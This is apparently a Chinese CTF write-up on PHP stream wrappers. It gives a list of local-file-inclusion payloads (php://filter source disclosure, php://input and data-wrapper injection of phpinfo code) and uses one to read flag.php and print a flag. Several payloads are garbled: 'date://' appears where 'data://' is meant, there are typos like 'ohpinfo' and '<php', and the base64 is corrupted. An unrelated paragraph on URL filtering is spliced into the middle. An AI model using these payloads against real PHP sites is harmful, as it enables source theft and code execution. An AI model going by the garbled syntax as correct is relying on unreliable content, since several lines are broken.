php伪协议
在 PHP 中,伪协议(Pseudo Protocols) 也被称为 流包装器,这些伪协议以 php:// 开头,后面跟着一些参数,用于指定 要执行的操作 或 需要访问的资源。 伪协议表明这些协议并不是一个 真实的外部协议,例如 http 或 ftp。PHP 伪协议的出现是为了提供一个 统一的、简洁的 接口来处理 不同的数据流。这些伪协议可以被看作是一种 桥梁,它们允许开发者 使用常规的文件操作函数来处理各种不同的数据流
-
file:// ?file=file://D:/soft/phpstudy/WWW/phpcode.txt
-
php://filter ?file=php://filter/read=convert.base64-encode/resource=index.php
-
php://input ?file=php://input [POST DATA]<?php phpinfo()?>
-
zip:// ?file=zip://D://soft/phpsyudy/WWW/file.zip%23phpcode.txt
-
compress.bzip2:// ?file=compress.bzip2://D://soft/phpstudy/WWW/file.bz2
?file=compress.bzip2://./file.bz2
-
compress.zlib:// ?file=compress.zlib://D:/soft/phpstudy/WWW/file.gz
?file=compress.zlib://./file.gz
-
date:// ?file=date://text/plain,<php ohpinfo()?>
?file=date://text/plain;basse64,PD9waHAgcGhwaW5mbgpPz4=
?file=date:text/plain,<php ohpinfo()?>
?file=date:text/plain;base64.PD9waHAgcGGhwaW5mbgpPz4=
URL过滤
URL过滤功能可以对用户访问的URL进行控制,允许或禁止用户访问某些网页资源,达到规范上网行为的目的。URL过滤还可以通过引用时间段或用户/组等配置项,实现针对不同时间段或不同用户/组的URL访问控制,达到更加精细化和准确化控制员工上网权限的需求。
URL过滤功能只支持过滤HTTP或HTTPS协议的URL请求。需要过滤HTTPS协议的URL请求时,还需要配置URL过滤的加密流量过滤功能
下来我们看这道题 进入靶机后能看到他给了一个tips 我们点进去弹出“你能找到这面旗帜吗?”因为这是一道文件包含的题 我们可以看到所在的文件为flag.php 这里我们需要用到php伪协议
?file=php://filter/read=convert.base64-encode/resource=flag.php
我们找到了一串flag 用base64解码就得出了flag
flag{0cde3577-1e29-4fc0-8634-c9cd4944a3e3}